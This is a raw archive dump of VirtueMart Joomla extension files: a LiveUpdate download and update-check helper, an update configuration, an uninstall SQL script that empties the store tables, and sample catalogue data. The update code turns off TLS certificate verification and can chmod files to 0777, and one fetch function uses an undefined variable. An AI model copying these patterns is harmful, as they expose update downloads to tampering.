* @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. if( JFile::write($target, '') ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download $bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PKs>\,com_virtuemart/liveupdate/classes/index.htmlnuW+APKs>\?$$1com_virtuemart/liveupdate/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { $mine = new JDate($extInfo['date']); } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // Fetch information from the cache if(version_compare(JVERSION, '1.6.0', 'ge')) { $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); } else { $lastCheck = $storage->get('lastcheck', 0); $cachedData = $storage->get('updatedata', null); } if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if($this->storage->get('stuck',0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($urls); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); $ret['version'] = $iniData['version']; $ret['date'] = $iniData['date']; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; return $ret; } }PKs>\)+com_virtuemart/liveupdate/classes/.htaccessnuW+A Order allow,deny Deny from all PKs>\$com_virtuemart/liveupdate/index.htmlnuW+APKs>\6$com_virtuemart/liveupdate/config.phpnuW+A */ defined('_JEXEC') or die(); /** * Configuration class for your extension's updates. Override to your liking. */ class LiveUpdateConfig extends LiveUpdateAbstractConfig { var $_extensionName = 'com_virtuemart'; var $_extensionTitle = 'Virtuemart 2'; var $_updateURL = 'http://virtuemart.net/index.php?option=com_ars&view=update&format=ini&id=1'; var $_requiresAuthorization = false; var $_versionStrategy = 'different'; function __construct() { $this->_cacerts = dirname(__FILE__).'/../assets/cacert.pem'; parent::__construct(); } }PKs>\M)com_virtuemart/install/uninstall_data.sqlnuW+A-- Remove all virtuemart data DELETE FROM `#__virtuemart_calcs`; DELETE FROM `#__virtuemart_calc_categories`; DELETE FROM `#__virtuemart_calc_shoppergroups`; DELETE FROM `#__virtuemart_calc_countries`; DELETE FROM `#__virtuemart_calc_states`; DELETE FROM `#__virtuemart_categories`; DELETE FROM `#__virtuemart_category_categories`; DELETE FROM `#__virtuemart_category_medias`; DELETE FROM `#__virtuemart_coupons`; DELETE FROM `#__virtuemart_countries`; DELETE FROM `#__virtuemart_customs`; DELETE FROM `#__virtuemart_manufacturers`; DELETE FROM `#__virtuemart_manufacturercategories`; DELETE FROM `#__virtuemart_manufacturer_medias`; DELETE FROM `#__virtuemart_medias`; DELETE FROM `#__virtuemart_migration_oldtonew_ids`; DELETE FROM `#__virtuemart_orders`; DELETE FROM `#__virtuemart_order_histories`; DELETE FROM `#__virtuemart_order_items`; DELETE FROM `#__virtuemart_order_userinfos`; DELETE FROM `#__virtuemart_paymentmethods`; DELETE FROM `#__virtuemart_paymentmethod_shoppergroups`; DELETE FROM `#__virtuemart_products`; DELETE FROM `#__virtuemart_product_categories`; DELETE FROM `#__virtuemart_product_customfields`; DELETE FROM `#__virtuemart_product_downloads`; DELETE FROM `#__virtuemart_product_manufacturers`; DELETE FROM `#__virtuemart_product_medias`; DELETE FROM `#__virtuemart_product_prices`; DELETE FROM `#__virtuemart_ratings`; DELETE FROM `#__virtuemart_rating_reviews`; DELETE FROM `#__virtuemart_rating_votes`; DELETE FROM `#__virtuemart_shipmentmethods`; DELETE FROM `#__virtuemart_shoppergroups`; DELETE FROM `#__virtuemart_states`; DELETE FROM `#__virtuemart_userinfos`; DELETE FROM `#__virtuemart_userfield_values`; DELETE FROM `#__virtuemart_vendors`; DELETE FROM `#__virtuemart_vendor_medias`; DELETE FROM `#__virtuemart_vmusers`; DELETE FROM `#__virtuemart_vmuser_shoppergroups`; DELETE FROM `#__virtuemart_waitingusers`; DELETE FROM `#__virtuemart_worldzones`;PKs>\ZdZ Z .com_virtuemart/install/install_sample_data.sqlnuW+AINSERT IGNORE INTO `#__virtuemart_calcs` (`virtuemart_calc_id`, `virtuemart_vendor_id`, `calc_jplugin_id`, `calc_name`, `calc_descr`, `calc_kind`, `calc_value_mathop`, `calc_value`, `calc_currency`, `calc_shopper_published`, `calc_vendor_published`, `for_override`, `calc_params`, `ordering`, `shared`, `published`) VALUES (1, 1, 0, 'Tax 20%', '', 'VatTax', '+%', 20.0000, 47, 0, 0, 0, '', 0, 0, 1), (2, 1, 0, 'Discount 5%', '', 'DATax', '-%', 5.0000, 47, 0, 0, 0, '', 0, 0, 1), (3, 1, 0, 'Special tax for category pagination 10%, an example for rule per category to show multitax store function', '', 'VatTax', '+%', 10.0000, 47, 0, 0, 0, '', 0, 0, 1); INSERT IGNORE INTO `#__virtuemart_calc_categories` (`id`, `virtuemart_calc_id`, `virtuemart_category_id`) VALUES (1, 3, 3); INSERT IGNORE INTO `#__virtuemart_categories` (`virtuemart_category_id`, `virtuemart_vendor_id`, `category_template`, `category_layout`, `category_product_layout`, `products_per_row`, `limit_list_step`, `limit_list_initial`, `hits`, `metarobot`, `metaauthor`, `ordering`, `shared`, `published`) VALUES (1, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (2, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (3, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 3, 0, 1), (4, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 4, 0, 1), (5, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (6, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 2, 0, 1), (7, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 5, 0, 1), (8, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1), (9, 1, '0', '0', '0', 0, '0', 0, 0, '', '', 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_categories_XLANG` (`virtuemart_category_id`, `category_name`, `category_description`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'Default Products', '

      Sample of several default products. You will find settings displayed.

      ', '', '', '', 'default-products'), (2, 'Default Pattern', '

      Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.

      ', '', '', '', 'default-pattern'), (3, 'Pagination testarea', '

      Notice: for correct ordering in product view set valid ordering in BE.
      Ordering showcase category. Use this category to test the ordering of products. You can also select several Manufacturer.

      ', '', '', '', 'pagination-testarea'), (4, 'Headgear', '

      Showcase for subcategory with several sample product.

      ', '', '', '', 'headgear'), (5, 'Hats', '

      Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
      Sample for product category. Create new category in VM BE > Product Categories > New

      ', '', '', '', 'hats'), (6, 'Caps', '

      Example for usage of product pattern. For showcase reason the PATTERN is NOT unpublished.
      Sample for product category. Create new category in VM BE > Product Categories > New

      ', '', '', '', 'caps'), (7, 'Clothes', '', '', '', '', 'clothes'), (8, 'Men clothes', '

      Sample for Subcategory.
      Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

      ', '', '', '', 'men-clothes'), (9, 'Women clothes', '

      Sample for Subcategory.
      Select superordinated category in VM BE > Product Categories > Your Category in section Details > Category Ordering

      ', '', '', '', 'women-clothes'); INSERT IGNORE INTO `#__virtuemart_category_categories` (`id`, `category_parent_id`, `category_child_id`, `ordering`) VALUES (1, 0, 1, 0), (2, 0, 2, 0), (3, 0, 3, 0), (4, 0, 4, 0), (5, 4, 5, 5), (6, 4, 6, 6), (7, 0, 7, 5), (8, 7, 8, 1), (9, 7, 9, 1); INSERT IGNORE INTO `#__virtuemart_category_medias` (`id`, `virtuemart_category_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 2, 1), (2, 2, 2, 1), (3, 3, 2, 1), (4, 4, 3, 1), (8, 7, 6, 1), (6, 6, 5, 1), (7, 5, 3, 1), (9, 8, 6, 1), (10, 9, 7, 1); INSERT IGNORE INTO `#__virtuemart_coupons` (`virtuemart_coupon_id`, `coupon_code`, `percent_or_total`, `coupon_type`, `coupon_value`, `coupon_start_date`, `coupon_expiry_date`, `coupon_value_valid`, `coupon_used`, `published`) VALUES (1, 'Sample Coupon', 'total', 'permanent', 0.01000, '0000-00-00 00:00:00', '2015-01-01 00:00:00', 0.00000, '0', 1); INSERT IGNORE INTO `#__virtuemart_customs` (`virtuemart_custom_id`, `custom_parent_id`, `virtuemart_vendor_id`, `custom_jplugin_id`, `custom_element`, `admin_only`, `custom_title`, `show_title`, `custom_tip`, `custom_value`, `custom_field_desc`, `field_type`, `is_list`, `is_hidden`, `is_cart_attribute`, `layout_pos`, `custom_params`, `shared`, `published`, `ordering`) VALUES (1, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_PRODUCTS', 1, 'COM_VIRTUEMART_RELATED_PRODUCTS_TIP', '', 'COM_VIRTUEMART_RELATED_PRODUCTS_DESC', 'R', 0, 0, 0, NULL, NULL, 0, 1, 0), (2, 0, 1, 0, '', 0, 'COM_VIRTUEMART_RELATED_CATEGORIES', 1, 'COM_VIRTUEMART_RELATED_CATEGORIES_TIP', NULL, 'COM_VIRTUEMART_RELATED_CATEGORIES_DESC', 'Z', 0, 0, 0, NULL, NULL, 0, 1, 0), (3, 0, 1, 0, '0', 0, 'Customfield String', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (4, 0, 1, 0, '0', 0, 'Customfield Textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (5, 0, 1, 0, '0', 0, 'Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (6, 5, 1, 0, '0', 0, 'Customfield Child String 1', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (7, 5, 1, 0, '0', 0, 'Customfield Child String 2', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (8, 5, 1, 0, '0', 0, 'Customfield Textarea Child', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0), (9, 0, 1, 0, '0', 0, 'Customfield Cart Variant', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (10, 0, 1, 0, '0', 0, 'Customfield Child Variant', 1, '', '', '', 'A', 0, 0, 1, '', '0', 0, 1, 0), (11, 0, 1, 0, '0', 0, 'Caps Customfield Parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (12, 0, 1, 0, '0', 0, 'Cap Size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (13, 11, 1, 0, '0', 0, 'Cap Details', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (14, 11, 1, 0, '0', 0, 'Cap Components', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (15, 0, 1, 0, '0', 0, 'Clothing weave', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (16, 0, 1, 0, '0', 0, 'Clothing size', 1, '', '', '', 'V', 0, 0, 1, '', '0', 0, 1, 0), (17, 0, 1, 0, '0', 0, 'Clothing parent', 1, '', '', '', 'P', 0, 0, 0, '', '0', 0, 1, 0), (18, 17, 1, 0, '0', 0, 'Clothing Composit', 1, '', '', '', 'S', 0, 0, 0, '', '0', 0, 1, 0), (19, 17, 1, 0, '0', 0, 'Clothing textarea', 1, '', '', '', 'Y', 0, 0, 0, '', '0', 0, 1, 0); INSERT IGNORE INTO `#__virtuemart_manufacturercategories` (`virtuemart_manufacturercategories_id`, `published`) VALUES (1, 1); INSERT IGNORE INTO `#__virtuemart_manufacturercategories_XLANG` (`virtuemart_manufacturercategories_id`, `mf_category_name`, `mf_category_desc`, `slug`) VALUES (1, 'default', 'This is the default manufacturer category ', 'default'); INSERT IGNORE INTO `#__virtuemart_manufacturers` (`virtuemart_manufacturer_id`, `virtuemart_manufacturercategories_id`, `hits`, `published`) VALUES (1, 1, 0, 1), (2, 1, 0, 1), (3, 1, 0, 1); INSERT IGNORE INTO `#__virtuemart_manufacturers_XLANG` (`virtuemart_manufacturer_id`, `mf_name`, `mf_email`, `mf_desc`, `mf_url`, `slug`) VALUES (1, 'Manufacturer', 'manufacturer@example.org', '

      An example for a manufacturer

      ', 'http://www.example.org', 'manufacturer'), (2, 'Default', 'example@manufacturer.net', '

      Default manufacturer

      ', 'example.manufacturer.net', 'default'), (3, 'Producer', 'info@producer.com', '

      An example for another manufacturer.

      ', 'producer.com', 'producer'); INSERT IGNORE INTO `#__virtuemart_manufacturer_medias` (`id`, `virtuemart_manufacturer_id`, `virtuemart_media_id`, `ordering`) VALUES (1, 1, 9, 1), (2, 2, 9, 1), (3, 3, 9, 1); INSERT IGNORE INTO `#__virtuemart_medias` (`virtuemart_media_id`, `virtuemart_vendor_id`, `file_title`, `file_description`, `file_meta`, `file_mimetype`, `file_type`, `file_url`, `file_url_thumb`, `file_is_product_image`, `file_is_downloadable`, `file_is_forSale`, `file_params`, `file_lang`, `shared`, `published`) VALUES (1, 1, 'vendor.gif', '', '', 'image/gif', 'vendor', 'images/stories/virtuemart/vendor/vendor.gif', '', 0, 0, 0, '', '', 0, 1), (2, 1, 'student_hat_16.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/student_hat_16.jpg', '', 0, 0, 0, '', '', 0, 1), (3, 1, 'hat_category8.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/hat_category8.jpg', '', 0, 0, 0, '', '', 0, 1), (5, 1, 'cap6.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/cap6.jpg', '', 0, 0, 0, '', '', 0, 1), (6, 1, 'jacket_classic7.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/jacket_classic7.jpg', '', 0, 0, 0, '', '', 0, 1), (7, 1, 'black_dress_2.jpg', '', '', 'image/jpeg', 'category', 'images/stories/virtuemart/category/black_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (8, 1, 'cart_logo.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cart_logo.jpg', '', 0, 0, 0, '', '', 0, 1), (9, 1, 'manufacturer.jpg', '', '', 'image/jpeg', 'manufacturer', 'images/stories/virtuemart/manufacturer/manufacturer.jpg', '', 0, 0, 0, '', '', 0, 1), (10, 1, 'classic_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/classic_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (11, 1, 'cowboy_hat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/cowboy_hat.jpg', '', 0, 0, 0, '', '', 0, 1), (12, 1, 'derbyhat.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/derbyhat.jpg', '', 0, 0, 0, '', '', 0, 1), (13, 1, 'santa_cap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/santa_cap.jpg', '', 0, 0, 0, '', '', 0, 1), (14, 1, 'baseballcap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/baseballcap.jpg', '', 0, 0, 0, '', '', 0, 1), (15, 1, 'marinecap.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/marinecap.jpg', '', 0, 0, 0, '', '', 0, 1), (16, 1, 'jumper.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jumper.jpg', '', 0, 0, 0, '', '', 0, 1), (17, 1, 'wide_dress_2.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/wide_dress_2.jpg', '', 0, 0, 0, '', '', 0, 1), (18, 1, 'jacket_classic.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/jacket_classic.jpg', '', 0, 0, 0, '', '', 0, 1), (19, 1, 'poncho.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/poncho.jpg', '', 0, 0, 0, '', '', 0, 1), (20, 1, 'dress.jpg', '', '', 'image/jpeg', 'product', 'images/stories/virtuemart/product/dress.jpg', '', 0, 0, 0, '', '', 0, 1); INSERT IGNORE INTO `#__virtuemart_products` (`virtuemart_product_id`, `virtuemart_vendor_id`, `product_parent_id`, `product_sku`, `product_weight`, `product_weight_uom`, `product_length`, `product_width`, `product_height`, `product_lwh_uom`, `product_url`, `product_in_stock`, `product_ordered`, `low_stock_notification`, `product_available_date`, `product_availability`, `product_special`, `product_sales`, `product_unit`, `product_packaging`, `product_params`, `hits`, `intnotes`, `metarobot`, `metaauthor`, `layout`, `published`, `pordering`, `created_on`, `created_by`, `modified_on`, `modified_by`) VALUES (1, 1, 0, '', 50.0000, 'KG', 45.0000, 5.0000, 5.0000, 'M', '', 78, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (2, 1, 0, '', 15.0000, 'KG', 10.0000, 25.0000, 10.0000, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (3, 1, 0, '', 0.1000, 'KG', 0.0100, 0.0100, 0.0300, 'M', '', 55, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (4, 1, 0, '', 1.0000, 'KG', 0.2000, 0.1000, 